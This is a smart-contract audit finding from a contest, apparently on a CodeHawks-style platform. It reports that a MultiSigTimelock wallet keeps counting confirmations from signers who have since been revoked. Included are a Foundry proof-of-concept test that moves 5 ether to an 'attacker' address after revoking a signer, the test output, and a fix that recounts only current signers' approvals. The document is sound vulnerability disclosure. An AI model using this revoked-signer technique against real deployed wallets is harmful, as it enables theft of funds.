MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

Zombie Signatures from Revoked Signers Enable Unauthorized Transaction Execution

Author Revealed upon completion

Root + Impact

Description

  • In a multi-signature wallet, only currently authorized signers (holding the SIGNING_ROLE) should be able to approve and facilitate the execution of transactions.

  • The contract uses a snapshot-based counter confirmations in the Transaction struct. When a signer is revoked via revokeSigningRole, the contract fails to decrement this counter or invalidate the signature for pending transactions. This allows a transaction to be executed using a "zombie" signature from a person who is no longer authorized.

function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
​
// CHECKS
@> if (txn.confirmations < REQUIRED_CONFIRMATIONS) { // Root cause: Uses a stale counter
revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
}

Risk

Likelihood:

  • This occurs whenever a signer is removed (e.g., due to a key leak or dismissal) while there are active, unexecuted transaction proposals they have already signed.

  • The vulnerability is present for the entire duration of the timelock period.

Impact:

  • Authorization Bypass: Transactions can be executed with only 2 valid signatures if 1 "zombie" signature remains from a revoked user.

  • Theft of Funds: A compromised signer can sign a malicious transaction right before being revoked, and that signature will remain valid to drain the wallet.

  • Governance Violation: The 3-of-N security model is undermined as the actual number of currently-authorized approvals may be lower than required.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {Test, console} from "forge-std/Test.sol";
import {MultiSigTimelock} from "../src/MultiSigTimelock.sol";
​
contract PoC_ZombieSignatures is Test {
MultiSigTimelock public multiSig;
address public OWNER = address(this);
address public SIGNER_2 = makeAddr("signer2");
address public SIGNER_3 = makeAddr("signer3");
address public SIGNER_4 = makeAddr("signer4");
address public COMPROMISED = makeAddr("compromised");
​
function setUp() public {
multiSig = new MultiSigTimelock();
multiSig.grantSigningRole(SIGNER_2);
multiSig.grantSigningRole(SIGNER_3);
multiSig.grantSigningRole(SIGNER_4);
multiSig.grantSigningRole(COMPROMISED);
vm.deal(address(multiSig), 10 ether);
}
​
function test_ZombieSignaturesAllowUnauthorizedExecution() public {
address attacker = makeAddr("attacker");
uint256 txnId = multiSig.proposeTransaction(attacker, 5 ether, "");
​
// Three signers confirm (including COMPROMISED)
multiSig.confirmTransaction(txnId); // OWNER
vm.prank(SIGNER_2);
multiSig.confirmTransaction(txnId);
vm.prank(COMPROMISED);
multiSig.confirmTransaction(txnId);
// COMPROMISED signer is revoked after their signature is recorded
multiSig.revokeSigningRole(COMPROMISED);
// Counter still shows 3, even though COMPROMISED is no longer a signer
assertEq(multiSig.getTransaction(txnId).confirmations, 3);
​
// Wait for timelock
vm.warp(block.timestamp + 1 days + 1);
​
// Transaction executes successfully with a "zombie" signature
multiSig.executeTransaction(txnId);
​
assertEq(attacker.balance, 5 ether);
assertTrue(multiSig.getTransaction(txnId).executed);
}
}

Run:

forge test --match-path test/PoC_ZombieSignatures.t.sol -vvvv

Output:

Ran 1 test for test/PoC_ZombieSignatures.t.sol:PoC_ZombieSignatures
[PASS] test_ZombieSignaturesAllowUnauthorizedExecution() (gas: 322347)
Logs:
TransactionExecuted(transactionId: 0, to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], value: 5000000000000000000 [5e18])
​
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Recalculate valid confirmations at execution time using only current signers:

function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
+ uint256 validConfirmations = 0;
+ for (uint256 i = 0; i < s_signerCount; i++) {
+ if (s_signatures[txnId][s_signers[i]]) {
+ validConfirmations++;
+ }
+ }
​
- if (txn.confirmations < REQUIRED_CONFIRMATIONS) {
- revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
- }
+ if (validConfirmations < REQUIRED_CONFIRMATIONS) {
+ revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, validConfirmations);
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!